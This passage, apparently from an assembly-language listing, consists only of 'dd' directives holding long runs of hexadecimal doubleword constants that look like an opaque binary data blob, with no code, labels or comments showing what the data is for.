422F124Fh, 268B801Eh dd 5D82B92Bh, 346F1301h, 0FC3362Dh, 0F8BA8660h, 0C0A9C0D1h dd 4CF153BFh, 0A2B898B6h, 64FDF897h, 8C081861h, 349E42E0h dd 0D2465Ch, 353876EFh, 58C644DAh, 680C8BCh, 0F7CCE10Dh dd 6D86C900h, 89149210h, 40A40F6Ch, 0B3C49DF5h, 12C4C1EBh dd 0C80C0072h, 83661AD5h, 0D460105Fh, 1083EDFAh, 3E619228h dd 36BE121Ah, 0CCB974A0h, 0B630BC91h, 4CD1F2E1h, 0B21863D1h dd 0DBA90A00h, 0B4C11F13h, 1ED91364h, 2EEC289Eh, 7366D30Bh dd 59202169h, 0A880E706h, 7B6D8738h, 0A2073A0Bh, 1ECD6B5Fh dd 11041D9Bh, 0FFD2805Ch, 0A81122E3h, 14BF4CD8h, 90783286h dd 0F00C6E86h, 0EA2E64B0h, 0A803E8DEh, 48D7BA50h, 2F4B2090h dd 0B02394h, 0AEF0D402h, 8212718Ah, 34A2E44Ch, 4858F510h dd 95D30810h, 944591ADh, 64250B10h, 2C1C5Ah, 7DBE57FDh dd 253F849Dh, 6975807h, 0B89A7EDAh, 0E03C2A58h, 45F507F7h dd 23464ED0h, 542C5684h, 0B2002087h, 0EC83F296h, 8EF09920h dd 5184CDF7h, 43C8ACDAh, 335AA2C4h, 1E990388h, 6CFE092Ch dd 1BC8D380h, 7859A201h, 5EACB40Bh, 0AE395746h, 339702FEh dd 99FF1DC5h, 83A50068h, 9A6B6800h, 0BE5BC737h, 961513B4h dd 0DC0D008h, 0C802061Bh, 8310622Ah, 0C084E8D3h, 0BB880916h dd 10047C03h, 5820F28Ah, 8C59B870h, 0A475DC3Fh, 56800C9Eh dd 1EB6C99Dh, 70A0E239h, 0E52A28E3h, 2F875B88h, 1E92354h dd 0C77D9E97h, 73FEF950h, 194B0074h, 76DB31E8h, 47F339ACh dd 0AA459Fh, 6BD48748h, 1FEC0C1Bh, 0BC3C4148h, 87178CE6h dd 8C64856Eh, 3ECD9C02h, 0A5EC94CCh, 6064C418h, 16B8C19h dd 239C7E71h, 23C0A8A1h, 30B1B2C4h, 0CB02A471h, 0C1AE498Dh dd 9D7CC1C5h, 274AB028h, 0ED1EB048h, 8900A58Ah, 0F315EB3h dd 7A49BE78h, 9A278017h, 0D9D5F013h, 66425447h, 821469C3h dd 223C4982h, 0C808E4h, 0EF0D5902h, 0A30A217Ah, 99E04900h dd 1CBF6C27h, 0B89088h, 21B535EBh, 0CA58B816h, 16340D48h dd 3C30BE22h, 405F0164h, 230961B4h, 702EECB9h, 8054995Ch dd 6397E1D6h, 75274523h, 3EE09D33h, 5C030946h, 0D1A32095h dd 9901EF0h, 7E82B70Ah, 3D649882h, 11D63C5Eh, 1508E5F4h dd 0A0EFB6h, 16E9022h, 1231F57Dh, 186E443h, 0B662E64Ch dd 0BC043C58h, 0C4098CD7h, 422B7CAFh, 642EC094h, 0AF609B0Dh dd 61911895h, 99BAEC80h, 0FE0121E1h, 0B96B543Fh, 1870D860h dd 1CA1CE0Bh, 1DF96F0Ch, 85581A00h, 0D134E9ACh, 0C8A100F8h dd 0C0098406h, 0F90C6A39h, 316EFE83h, 23F74821h, 48FD1D00h dd 6745DDA4h, 8F464B00h, 0D118AF2Ah, 3872F3FCh, 0C854CA92h dd 0CDAEC0D7h, 0D60A4F9Fh, 0EC9AE766h, 0E08C802h, 9C78CCEDh dd 0B3465664h, 68FFCF14h, 5180F63Ch, 0E8FBC439h, 2043EB3h dd 0B8664738h, 0C71E5980h, 0D39DE001h, 4B880031h, 0B5A727A8h dd 0D5C4F200h, 0C5D436B6h, 5B4C00E4h, 13822045h, 0A5F0ED7Dh dd 56B6D60Ch, 1006C088h, 3DA3201h, 1DEE5F2Ah, 8C41B12Dh dd 2F81A893h, 0AC231Ch, 2E01225Fh, 74001955h, 9DA2C37Ch dd 4B21ECF0h, 1E88017Ah, 368830FFh, 852F0014h, 0C589A695h dd 0AA70794h, 763D1D55h, 0E10F61A2h, 817D302Bh, 86ED1045h dd 5701B862h, 7019599Eh, 0A0463A0Dh, 0E9A11A2Bh, 9692CC47h dd 0B64C407h, 4B710A4Fh, 0E5B5FC68h, 0E8E8F8ABh, 0E71D301Bh dd 1205269Ch, 0B8407FFFh, 845A828h, 47523CD0h, 8B1044DCh dd 61212B2h, 0CCCB9874h, 7EC06688h, 0C0B01957h, 9583D42Ah dd 0C60953AFh, 985F06E5h, 34F97C64h, 827896A6h, 0F0D93964h dd 3F187771h, 0A6E0C11Ch, 0AC1AC2C0h, 3EFF4526h, 0B73F151h dd 6958221Ch, 0D511B01Dh, 44CD2080h, 1D09A510h, 423A58BAh dd 0FE50820Ch, 2060527Bh, 0D348E082h, 0FE9CC54Ch, 63D43089h dd 5A01262Bh, 4F3902D0h, 8489B5Eh, 0D7FA8665h, 0F300C4BCh dd 0DF589C3Dh, 0E2060C66h, 0BD18D18Ah, 9A013225h, 0C448C5BCh dd 73586065h, 4D993E1Eh, 0AB881700h, 7720F4ACh, 3DC28BEh dd 3008EDB8h, 8D819C86h dd 0A3ABEC1Eh, 0D0D2D80Fh, 1D495FDh, 0A003BE50h, 0A1E0C572h dd 167A008Bh, 13C40785h, 0C4B8771Ah, 0A7CF0C14h, 595D1094h dd 9A241658h, 0CA0D9D4Ch, 1680AE81h, 0BACC60C1h, 0BB4425F0h dd 828D041Bh, 0FCB92B2Ch, 683C04h, 0BB50175Dh, 816F13E9h dd 48FAF6ECh, 7F7EE4A0h, 3C284A00h, 1D185FA2h, 0B42E53DBh dd 2B305AA2h, 0A41F4945h, 75E7582h, 291A6869h, 8C63A87Ch dd 995C5E00h, 9CA9B13h, 7D12026Bh, 6AFD240Bh, 0E3212C5Ah dd 89527BFh, 1680D591h, 0B6C766A5h, 2100C174h, 0D6CF922Dh dd 4ACB4E52h, 0D388C06Fh, 1A32B6D4h, 6209106Ch, 7964514Ch dd 0E32D18D3h, 0E7A5B06Fh, 0C53AC304h, 74B80660h, 128C6FBCh dd 0CCC606D2h, 4A091D64h, 0C7ADC187h, 60D044D4h, 0E180B0h dd 10B1FFA9h, 4B611B54h, 2700525h, 0BBB3F24h, 5A11301Dh dd 0F8F2482h, 5EB88840h, 489A2358h, 0D21C0490h, 6C01C056h dd 0AAC9089Dh, 4C706C59h, 7D66109h, 91E01733h, 0FF2C8068h dd 166A04C1h, 90A9644Fh, 3B9AEA64h, 0A4D5F02Ch, 0DA057D1Fh dd 80B3BDD2h, 0AC30D4B2h, 0EDE21FA2h, 291BC92Bh, 0AB0864A7h dd 68297D8Bh, 365838DBh, 34BD1CFEh, 59FD43F4h, 0ECE05BC2h dd 5EF4D1D9h, 0C14AD574h, 7723882Fh, 0EEE49D00h, 79BA647Fh dd 457300F5h, 0F6747E2Ah, 84016B25h, 56CDE3EDh, 1800C8BCh dd 9800442Dh, 0E6A59660h, 0C0ECB507h, 4CDE31B1h, 9BF4C56Eh dd 58443Ch, 0E7AA85BEh, 24667595h, 28A4188Bh, 6DA14E8h dd 0E6F8B8BFh, 1E32138Ch, 0FC3CCD66h, 0C77D952Ch, 84AAC388h dd 6861BC8Dh, 0A4C03A2Dh, 379C0434h, 0E2E45DBBh, 401B1368h dd 0D723042Fh, 714B0A00h, 0E82E16EBh, 6E310B3Bh, 0D4406A5Eh dd 0FA011885h, 21061E91h, 403812C6h, 0E824EF84h, 6C305F78h dd 12ECEAB5h, 0F04FB3FAh, 0FF1F21EEh, 0B00071F5h, 82FC55CEh dd 66D31695h, 1A0C82A3h, 68516073h, 2A0A1618h, 0E2713439h dd 82C8200Bh, 17C3218h, 281A187Fh, 0B39C048h, 9D94201Fh dd 63005416h, 60FE0B31h, 996B294h, 0A7C1E85Dh, 5A00F0E4h dd 1FDBA430h, 4F1BCC47h, 956C00AFh, 16B4D97Ch, 804BC012h dd 0AFE220B2h, 56B6D30h, 0FE8B0891h, 99B04087h, 82A44A73h dd 81D47E3Bh, 0AC208A97h, 0C8FD1431h, 0BB202828h, 5969A4B4h dd 18767974h, 37EF07C7h, 0F3DBF412h, 61D31EE9h, 0DCD30FAAh dd 0D2BC6509h, 7B79C4h, 0CDF28776h, 25D773B5h, 0DA1C670Bh dd 35A8A3CAh, 0D0009589h, 0F0605265h, 21465EF7h, 406F8EF8h dd 7E5483E8h, 824E2900h, 23630DE5h, 0D06569B5h, 91EF8865h dd 1C5808Ah, 0F1CE2334h, 5586F4C6h, 0E29F5E27h, 840C7910h dd 0A421ED1Bh, 0D30B1EDCh, 83847DACh, 0C038414Fh, 794374A5h dd 80239D28h, 6EB16631h, 0AC983D81h, 993003DEh, 7EDAA3D3h dd 78C6EEA1h, 0AE850A30h, 82C0E8CBh, 911D34F7h, 832A9F98h dd 5ED41AC8h, 4CF27EC2h, 197058BBh, 25470BBh, 2362EA81h dd 0C8F27009h, 7CBF9220h, 130D5B65h, 0F794A2A8h, 0F620C038h dd 1777F42Eh, 4C8F2C01h, 97B6E17Dh, 4AC9A46Dh, 6626E402h dd 233D7D00h, 37D62C84h, 8D961F0Ch, 80B028FDh, 0CFB75F61h dd 184FF161h, 199AFF0Ah, 0F6000217h, 31F56792h, 284D70h dd 6BD4881Ch, 6DE89F4Ch, 0B552E212h, 0B4128CF0h, 17DBC0B4h dd 91220F3h, 8429DC4Ah, 23842F3Bh, 1A0305B3h, 3AAA12C3h dd 3AE2350h, 0CB14B0ECh, 52994BB8h, 478B4494h, 719CE9BEh dd 0E0980BCAh, 0FF0E7EFBh, 62446F1Eh, 48E7EB05h, 27664064h dd 2002D2F4h, 84B2C2A4h, 0D7E46CE5h, 3650C660h, 98D2A72Bh dd 0B718AB59h, 46004CE6h, 0E5125E65h, 0F8BE99h, 9B1103CDh dd 152B6310h, 2846854h, 1D80B4EEh, 0B07CE706h, 28C59BCh dd 3362F6BCh, 0B09053A5h, 1680C913h, 0D0CB091Ah, 0F45043B6h dd 1F17B702h, 0F8C15362h, 7033FB80h, 0A3FC24h, 0FDB39214h dd 0A039C67h, 0C339D52Dh, 0F535A821h, 66BF0B79h, 0F0D97BAFh dd 0DC18ACD9h, 7501B9F8h, 0B48F93B7h, 50F9F78Dh, 0F82ED980h dd 1907EC16h, 9AF2E403h, 0FB8EB824h, 0A506C028h, 7950B940h dd 0E76C18D7h, 52CD8F8h, 346A8FA5h, 0E3EC81DFh, 548104C0h dd 17DC8D52h, 40944A96h, 9A9106ACh, 10003F3Ah, 62270357h dd 0BDFCEED8h, 0AC837089h, 2BB94A39h, 0D8202A57h, 4979A6h dd 0C630F9F1h, 0AB151AD6h, 0C9B6BF0Fh, 454A2070h, 1F265C76h dd 45529D6Ah, 56551B62h, 0C5F861E4h, 42A05096h, 54394E57h dd 0A21D89B9h, 29998006h, 0BF39D0Dh, 0EA011EA8h, 0E402DC41h dd 0A5FCDE1Fh, 0F48D222Eh, 0E8B28296h, 23AC2B4Eh, 0C53A008Bh dd 0CEDBE532h, 0D46EF816h, 0E133E842h, 0D934F13Ch, 7441876h dd 55AAF8B7h, 81B1A43Dh, 0C665A7F0h, 0C2736840h, 988EAD4Bh dd 0D6C0E888h, 9AF2147h, 8852B6D3h, 9D0068D2h, 0D59B0D2Fh dd 18090878h, 68A36B02h, 0C7025361h, 0EC9F2EC1h, 0BBE8A07Bh dd 30CF0159h, 0E361BA07h, 0CB099445h, 7813AD7Ah, 1B871770h dd 7024B4C2h, 0A00B9425h, 5F6A657Ch, 0A8626040h, 904F105Ch dd 0F9061A03h, 17618D12h, 0E2E6BFC1h, 3077F2E8h, 7E052FFBh dd 0FA1F4973h, 20750C0h, 0A4099D33h, 38003CF1h, 0DF43A609h dd 1A57277Dh, 0ACE454C5h, 5F06C460h, 8DF57700h, 549D0CD0h dd 0C2D92667h, 0D83D80F0h, 6683B83h, 150B0A0h, 201B1940h dd 0EB00C292h, 0BC38079h, 0B50AB67Ch, 0F7C01407h, 64A820EDh dd 0DD00ACC7h, 603607FEh, 275EBA90h, 8800BF53h, 0C5CD208h dd 0D60358C0h, 36B5FEh, 92D3E412h, 0DEEE50BEh, 0B84C8890h dd 6A809F74h, 0C406199h, 0D7A51EC5h, 0C3D2817Ch, 548BBC65h dd 0E080F6F8h, 75523D4h, 5D474B92h, 6CDAEB42h, 132B0B00h dd 0C301CC52h, 8B12183Ah, 90918CD1h, 0ED0D2504h, 50F0151Eh dd 0C70C171Ch, 0DA631319h, 0FA08C008h, 13036698h, 88C2E9EBh dd 35484048h, 0F2DB09ACh, 5190F978h, 414E0C65h, 2E342084h dd 0F6D1E740h, 7CB19F21h, 50623E22h, 38F205B5h, 138EBA20h dd 0D047830Bh, 7420EFB8h, 5091E496h, 769F6A00h, 0D2A8C6AFh dd 0CF079A77h, 0F7C778A7h, 7435B0ECh, 43EE25C8h, 0D360686Dh dd 0B5065A7Ch, 9FD98898h, 0C33D40A0h, 98FFC502h, 409176D2h dd 0F8D0BE4h, 8347B0D7h, 0A66CBDA2h, 9024C4h, 6225232Fh dd 449755D8h, 0B5877191h, 235FC1F1h, 27C6C0Dh, 5835F782h dd 800076BBh, 0E33EF1C1h, 9DE8C61Ch, 0B3B7139h, 5AC330EEh dd 50A01E00h, 6DF780BEh, 80844514h, 0D71C100h, 6B934D5Ch dd 27AC9823h, 0B8CD5FA2h, 4D647EC0h, 0FB7C0B71h, 7885D8C7h dd 4BA4206Bh, 84A4593Dh, 465EC09Eh, 1FAD00D1h, 3A94EC70h dd 973035Bh, 2D18803Ch, 40BE2AE8h, 11C1704h, 0DCE7BADBh dd 740393A0h, 0D5DF9501h, 0C6629F4Eh, 0CA98043Bh, 81CF8530h dd 7534E800h, 53184194h, 3E5862C9h, 0C8584283h, 12E80F24h dd 314BDFEh, 99240B3h, 1AABF839h, 8F380513h, 81B049B1h dd 774BDACh, 0C2631053h, 0B545C85h, 44104B82h, 139081Dh dd 0C8C0CED2h, 25852B5Fh, 809D2F97h, 829F6F11h, 0C43F021Dh dd 39F1F0C8h, 706424A5h, 56B1D660h, 0C08EEE2Fh, 12010CE4h dd 0F30FEA16h, 3068A2A0h, 0B90067B7h, 0F44F88DAh, 0B4E6BCF5h dd 88A81468h, 0A9E5118Fh, 0B2FC53E1h, 3363F248h, 0D8FDA5D1h dd 0E607B5DBh, 0AC2D21A9h, 0EF42E1C7h, 129456AEh, 9CE0C2D5h dd 8142BCE3h, 305AE238h dd 97047156h, 0DFD5F920h, 0EA2AD0EDh, 9F860A9Ch, 7430BDADh dd 65076646h, 0B0C6F5EAh, 870EEC49h, 22EDA304h, 8A3AFCBh dd 903070B2h, 667616ACh, 2894808Bh, 0BD41A959h, 41300E7Fh dd 0C4DA9290h, 76CA8080h, 1C04FD42h, 580134D4h, 485855AAh dd 0F1010DB8h, 1301B707h, 0D472E4C2h, 23642F4Ah, 6D4E00AAh dd 9D5E580h, 93FD793Ch, 6C449D54h, 89A34BCh, 6C894E00h dd 0B56A4FB6h, 8B40E30h, 7DACFB45h, 8966004Dh, 8CCFEF82h dd 4900FFCEh, 0C45C9B85h, 7CA7BF05h, 8A360122h, 91D0B2FBh dd 173881FAh, 0ADF0FCF8h, 53411180h, 0B7B66589h, 3A4434A4h dd 896B0061h, 4103BE9Ch, 0FA00A149h, 0EF7B8AB7h, 1DAE924h dd 75A617A5h, 15B4D02Bh, 0E71A380h, 0A0C3003Eh, 0A1A9E353h dd 0F0F37EF2h, 4C0FCA46h, 6048B3FAh, 997AAD81h, 4DAE3C76h dd 0F4161A00h, 9501A206h, 9677BFCh, 206C1208h, 0F3FF003Bh dd 70A8C788h, 0C11485B3h, 0AC6C14ECh, 43008C49h, 0A153FE99h dd 0DE4201E1h, 0B1EB9E1h, 808A1D37h, 0E871CCDFh, 3C0C13E7h dd 0D068F5E3h, 31476003h, 0C1CE2BE9h, 22D94D2Eh, 0ED41441Fh dd 9E353D74h, 46BC71A0h, 0E05028FDh, 505FB629h, 4E004611h dd 0E5338968h, 0F402F520h, 16DAFA56h, 73A0801Eh, 0A4A66491h dd 3AD00B8h, 1A521338h, 0CA1D4914h, 0A518176Dh, 0FB7321h dd 0E53B937h, 0DE896202h, 9549A112h, 4523083Ah, 98ABBF00h dd 1240F37h, 0EE351748h, 4047CA2Bh, 2284AC88h, 90A94BE0h dd 426EF889h, 0B7B8CA3Ah, 50C048F8h, 0EA418F0Fh, 96B11E4Ch dd 80307084h, 8937DADh, 9F41503h, 0B86794A2h, 0F3FE3A80h dd 0CE1B0B2h, 49A03114h, 8C002A79h, 4DDD10F7h, 8B7A0Bh dd 1E05C226h, 27EEEBCBh, 0D7658500h, 2C03811Dh, 0B6E504FBh dd 819E55C4h, 53B3F7A0h, 6BA26FA0h, 3806B8B0h, 0F2521611h dd 0A80A788h, 34A37DEh, 90A10E8Eh, 5B89E352h, 8A9D8420h dd 281C7796h, 5828F84Eh, 0EC684C00h, 4DD1C75Ah, 7A2F3377h dd 21075B08h, 0D3EC800Bh, 0D9985700h, 0DE4E2926h, 0EC820120h dd 1881C750h, 0E06D8957h, 5202F0ECh, 0C67C598Fh, 0FCCE809Ch dd 0A87B31E2h, 643FAC0h, 0A5A77E20h, 5E1ED1B7h, 0D94FA478h dd 0BCB10322h, 0A310F0E7h, 9A9009EBh, 1098D651h, 7B03674Bh dd 2ECEC682h, 0D11F8038h, 6BB6009Eh, 6DD96903h, 5E289CB4h dd 0C600B49Ah, 0B840672Eh, 24FBEED0h, 24EEC2FAh, 0D2980114h dd 2167E63Dh, 821F180h, 70E8C68h, 0F0521738h, 37DFF0E7h dd 0BA14D2D7h, 2AC4613Ch, 5546ECCAh, 14380870h, 0C3C42252h dd 37F89040h, 777C974h, 81795C01h, 9F8C1E02h, 3E4C4h, 197BD20Eh dd 5AA9161Ch, 54229624h, 9E737080h, 2C10D38h, 3D586223h dd 884AA434h, 1985C4B7h, 0C0C0C12Fh, 5E39FDBh, 31F4B744h dd 0C0AC1DBBh, 0D2A18687h, 9CA0391Eh, 61C3A823h, 0BEC6A4B6h dd 86660428h, 0C0B720F7h, 4E2736E1h, 802CDF49h, 0C751EC83h dd 5A448C69h, 0EC7B090Eh, 9085B65Bh, 0C2B05F85h, 4B0F26C1h dd 0A45CEC80h, 70C9AE3Ah, 1980200Eh, 4C740B68h, 0EA1E4CA9h dd 0D354006Fh, 2096E0C7h, 0B9B59CA8h, 9FD9E03h, 0B19CA661h dd 7FDC6BB1h, 14644DADh, 4F41880h, 448C11A2h, 19013924h dd 4686D6F4h, 0A45031F2h, 0E816C389h, 0BC4700E9h, 0EF249169h dd 6024B52Fh, 0C58290F5h, 47FA8EB0h, 8F916F18h, 56CE800Ch dd 1C31C28Dh, 0A809768h, 84A04C32h, 0C28E8ACFh, 1230667Ch dd 0A20208F4h, 26649A21h, 0F41BB740h, 0D31441F6h, 0EF03412h dd 2172D8B8h, 80F53002h, 26FA288Ah, 52465EE8h, 6A998E03h dd 0C1E07D8Ch, 0A630A951h, 7AE5D9A4h, 106E0A2Ch, 0A48A63h dd 0C5F6B24Ch, 8D005869h, 2B2C4B20h, 0F728742h, 0F730B990h dd 0FC604E2Ch, 14DB3B09h, 4C140667h, 2BCB24D4h, 21842840h dd 5A81F11Bh, 0EFB66889h, 0BEE4C5CEh, 75895280h, 0BD70DE59h dd 44030E00h, 1145CDC2h, 7BDC9973h, 0E35662E4h, 51C0B7DAh dd 219D82Dh, 0F29EEC9Ch, 0B4813D72h, 0D247634Dh, 0CB2D9882h dd 54778C90h, 0BCC62C12h, 0C8027413h, 0E95C552Bh, 0C7104A18h dd 7304B58Dh, 0D3B4F4C2h, 0BAC0B8C7h, 52F55A8h, 3368541h dd 86880F11h, 0EC03200h, 0F3003E0Ah, 3D2C5915h, 90ED9F7Eh dd 76A4648h, 52153809h, 0C13217B4h, 37E10D20h, 8C390B4Eh dd 4C06E5AFh, 7B26A1A5h, 0F944BCF2h, 2AB814D0h, 0A1489264h dd 13186350h, 0A203F408h, 400EC439h, 0CDF41CB4h, 0DFD4003Ah dd 277B8F7Eh, 0CA51FAC0h, 0C0D01B34h, 39E5E695h, 100B0C85h dd 75C8AE03h, 52FD6A40h, 672330FAh, 12380203h, 0C2629452h dd 37307627h, 2C3A5h, 0E3A9BA5Dh, 5848DD56h, 2C4840B1h dd 0C04654h, 0E9AA82B0h, 122685BCh, 8BB7A52h, 4CC01978h dd 25B66E89h, 0C814697Fh, 890564ECh, 0D02A591Ah, 145250C8h dd 804F08BBh, 0FFD29F02h, 74606D39h, 0AE12702Ah, 0FC9A1448h dd 0A0057FC0h, 0BFE53EEh, 71B9A130h, 2C9F8E4Dh, 84E0A56Eh dd 8021C33Eh, 0D5F4B258h, 2E184A60h, 609D7244h, 606B3CDFh dd 9F493069h, 0D05810h, 0DCEF08Dh, 92033EB8h, 20F8A8h dd 2C67C5B4h, 4484D919h, 798E5037h, 79164F00h, 20EF05E3h dd 8EAB6AB9h, 0C0568858h, 0DB68F517h, 0D7C14814h, 23944890h dd 0EC6C0FFCh, 0CE71C745h, 640F00C8h, 9CBAAEECh, 6BF828DAh dd 6F94A1C0h, 0C1F25072h, 264BEF30h, 8EE43674h, 0BBC0C471h dd 8ED0B321h, 0A61E2F14h, 8D0477ACh, 6EC2A3ABh, 779A8B0h dd 576A77B6h, 50458FB4h, 1E44033h, 65F09E2Fh, 0DB003875h dd 0C1FDF254h, 0ECAD7EEEh, 8129C03Ch, 41F15EEBh, 78009D71h dd 5CE535DDh, 14CBCF04h, 0B411A4D5h, 0B072E041h, 95178900h dd 3E9726B4h, 0E302F4B0h, 0F36D3FC0h, 78B7E19Dh, 6FF14420h dd 18406937h, 0F76A70FEh, 0BB155600h, 0C386415Bh, 2420901Dh dd 40107B30h, 0E6A06F0Dh, 0F736B30Bh, 11101F28h, 105893Dh dd 3036A760h, 20D51892h, 0A27A0228h, 0A8342830h, 4D50DB3Ch dd 2BB1886Ah, 0D8320D36h, 6F300FE2h, 9D160020h, 0FE8C8225h dd 0AE05A463h, 0B6F9072Eh, 0EAB2C0C7h, 0B8F488BEh, 4860FB12h dd 235DEC6Fh, 5111C9C7h, 0EC670A02h, 0D1C070E3h, 0CF48E1CBh dd 0D8B02496h, 91641D25h, 298B80C3h, 0BD20FF5h, 981E9460h dd 0AD8D0C02h, 1011849Fh, 0DBED9D80h, 0A5731AE3h, 256CB87Bh dd 48AACA21h, 0BC1C6C31h, 0C86314DAh, 0A0F27905h, 49D40B36h dd 58492889h, 3A422A5h, 7E78D8BCh, 2501FF5Fh, 61D61418h dd 824B784h, 79C413B4h, 5990D1A9h, 38B02520h, 1E961890h dd 39B1FC89h, 0EA0FCC2Ch, 2814ACEh, 0A55796D2h, 11549DE8h dd 97868013h, 2A24EC41h, 9C40854Ch, 0F11A62D0h, 6B89D01Bh dd 698721B6h, 7D4791h, 131B8965h, 10F0E46Eh, 0A0A62D25h dd 94ECE9DCh, 8E550030h, 2AA94231h, 0AD00A225h, 0A32D9CAh dd 2CD29C6Dh, 0AE6C3316h, 0B700D670h, 0B862F343h, 4C5534F5h dd 80160DAh, 0FDA094CFh, 0B24063ACh, 0E8963046h, 4BB1F607h dd 0C2D2411Dh, 88C8438Fh, 0BCA008h, 0BACEB553h, 0C92DADF4h dd 6D995E61h, 0BC502996h, 0A8585Bh, 2F1FEE11h, 8E90B221h dd 4BBDAB01h, 8CA47FD2h, 0CE018433h, 0BA8D4002h, 9DB9D4B0h dd 97482307h, 65102DB2h, 3073F7h, 53BE1E8Ch, 0EAA4A0A2h dd 428BD48h, 0C7F8EC8h, 3A154C0h, 509259h, 5E2B998Ah, 0B4445062h dd 0B51FBCE2h, 0D4876D7Ch, 14F01AEEh, 0E0E2C882h, 0E0E7269h dd 0B11BBB0Bh, 6A87A080h, 0F0950FCh, 404E9739h, 0B2C5A24h dd 0C16B7ECBh, 66E8008Eh, 3DDE5B09h, 442C0324h, 91E73F08h dd 915DAB0Fh, 518B5E48h, 67B60C82h, 4F604C71h, 0FEBF8969h dd 46F4FDh, 0BA16B806h, 0CDB1E7E0h, 1DD73000h, 0D3EB0E54h dd 0FC5F095h, 0ECB35294h, 7FA1C078h, 88A81F24h, 0A3655F64h dd 0C746888Ch, 0DF6F0039h, 0A0093FDDh, 18E02DAh, 7EED3C1Ch dd 10F2DC22h, 0EAA830h, 8B56B3FFh, 64DB52E3h, 0BBB06C61h dd 0B84EB9A4h, 0AEC04488h, 6233BFh, 0BA5A184Ch, 1CCCEBCAh dd 553DD700h, 9CB7E7B5h, 30AA48AEh, 56016802h, 0E37EBA8Ch dd 0DF78FD00h, 74C5DBBh, 9A3D392Bh, 90C855F1h, 32F2ACA0h dd 0ED1371C0h, 99C0D0Ch, 0F6E4C37Bh, 0EE903A01h, 4200604Eh dd 0E9A4175Ch, 3CA330E6h, 380FE27Dh, 92DAE5B4h, 5468C099h dd 0EC8CA7ACh, 9E410460h, 0C74A06F2h, 0B4E2374Ch, 72F0A14Dh dd 13B43BC4h, 0E8D2548Ch, 1C44F2h, 98AD0586h, 5DAAD2E6h dd 465EB494h, 651F0546h, 5280B81Ah, 92B6DAA1h, 0FFD50124h dd 813D2C58h, 65D0209Fh, 0B208E89Eh, 289609F9h, 44E72020h dd 903474Bh, 0AB9A9DC5h, 5059E0DBh, 0B8A35C72h, 7ED4094Eh dd 27C468E5h, 47644060h, 12E38613h, 2CB63C02h, 8460DB16h dd 0F014DA4Ah, 905DA1CCh, 342BC04h, 0FFA18A72h, 48823C56h dd 54270448h, 3D031D00h, 0C884141Eh, 38CE7894h, 4899B24Ah dd 20547846h, 0E0BB1468h, 3331E270h, 2A714FF5h, 963E9CF8h dd 206B6F4Eh, 0F773D201h, 0C88576FCh, 3D092445h, 65285399h dd 6055C400h, 7058187Dh, 8008BE67h, 2F22BD39h, 816B3D6h dd 2492A409h, 0E35220CEh, 8CA151F1h, 4A046933h, 5323402Fh dd 4F40A21Ch, 21C33FA6h, 0A736004Dh, 0A892898Bh, 0ACB99997h dd 27037503h, 0B211F00Ah, 4CA9202Ah, 8AC95D0Ch, 9252528Eh dd 0B520C470h, 97B1004Eh, 0B91B2BB8h, 0D815AF7Ch, 2831091h dd 9DC04ADDh, 0DC90A5BBh, 9439020h, 3AC6FA19h, 923CE807h dd 54015BFDh, 9C7C02C2h, 38C3ABCh, 0FA9F71F4h, 580753F2h dd 35AD3A88h, 48B89B21h, 0C7C82DC8h, 0A07BA130h, 728755Fh dd 9430BBFAh, 0C75A803Dh, 15B4B2Eh, 0F5C4B63Ch, 26606CAFh dd 4674286Ch, 3152013Dh, 0EC9C9D32h, 0DE879878h, 4A782050h dd 57036C75h, 7037594Bh, 235D890Eh, 0F530A440h, 0C31CA1Bh dd 2CAB2DC8h, 32E2BE03h, 84F2E829h, 0C93C5100h, 3DF149A0h dd 78A6B7h, 2570A2E7h, 798436A4h, 0EF475304h, 408D4001h dd 0EC6E30CEh, 6143C7E6h, 0EC660980h, 0A00B93Eh, 54E85E75h dd 90F5E663h, 0ACD51370h, 0ED3800DFh, 860A0E53h, 36B47900h dd 3230E5C8h, 2A101280h, 8B10B0A1h, 630E8C4Ch, 5843965Ah dd 68106CD0h, 6D48603Fh, 0F92FF8h, 15105061h, 8ADB0E67h dd 25557807h, 2D816A17h, 0D442D056h, 1CAC507Dh, 6EF83643h dd 5700F628h, 0B9FA64BCh, 20F340A6h, 0B8258F8Eh, 24C69B0h dd 12FE848h, 0F8DB0640h, 0D0313CA0h, 0CAECC781h, 0D8488233h dd 55F4E96Fh, 5144A98Bh, 0C4B45C10h, 1896F137h, 0A4478663h dd 98BA8CE0h, 10BB24A6h, 566AB150h, 3950854Bh, 208B814Eh dd 9FC00FC8h, 180488h, 7F9E6728h, 3EC5F280h, 78130B36h dd 0A4292090h, 0AB148EEEh, 9ACB845h, 0C40CC92Dh, 71F4992Ch dd 7818C3h, 29327628h, 0C2A0513Ch, 0F290AA54h, 0C3C03454h dd 0D89F6B00h, 0B4F55CAFh, 0C94732A1h, 0E0193E88h, 28C690Ch dd 52183804h, 0C541502h, 5FC7450h, 0B7B88F37h, 549C4077h dd 5BB4D5EDh, 81A0A658h, 9AA44FA9h, 80DC68A9h, 90EE6CE4h dd 0E501D7EBh, 51BE1834h, 0E82DA75Ah, 523B60Fh, 2AF857A1h dd 74E0410Eh, 42146865h, 0C078F7D8h, 84F9CE03h, 17FDDC01h dd 969CB72Eh, 4801AC7Ch, 1CF73189h, 0E228634Eh, 0AB1A3056h dd 0D43F9301h, 4ADF8EC7h, 1C99B441h, 0ECDA8980h, 0FF471FF1h dd 4C4B501h, 64E4E7C7h, 959F9830h, 9E00E40Eh, 6EF053C2h dd 0E310E490h, 322F637Dh, 3C438422h, 9650BC5Ah, 2D00B430h dd 0B91B1363h, 7542A62h, 6FEA6015h, 2C3431AEh, 48F1A822h dd 0B71A4B10h, 4AB3684h, 74880FB8h, 713D6002h, 5E1C78Ch dd 9C16DE01h, 0C03671B3h, 4F83930h, 1AFA9E53h, 68408040h dd 4A322D2Ch, 0C1AD689Dh, 2E5318h, 0CCFBD68h, 0C20C2117h dd 800DFF3Eh, 80389C99h, 75D55C79h, 0B000E310h, 0FDA8EDECh dd 277651Bh, 929F2394h, 422034F2h, 38EF142Bh, 4F8F97BFh dd 10005B91h, 1830F68Eh, 0C32A6A12h, 0B2B82821h, 7A0402Eh dd 0EB744ACFh, 0E8A9D50Eh, 1405E139h, 0C7C8388h, 4C30F2BDh dd 0AA6113FDh, 3F00BFB0h, 7CDA9479h, 2CDCA047h, 4A960001h dd 0AD0B2E27h, 3EF89C2Ah, 0F12F5505h, 0A0C460B2h, 45888CCEh dd 9148C8C0h, 0F4D803D9h, 0B2C2DADFh, 0B8C81DAAh, 0BA2ED20Dh dd 2D869810h, 1EB9B52Eh, 4FF89CDh, 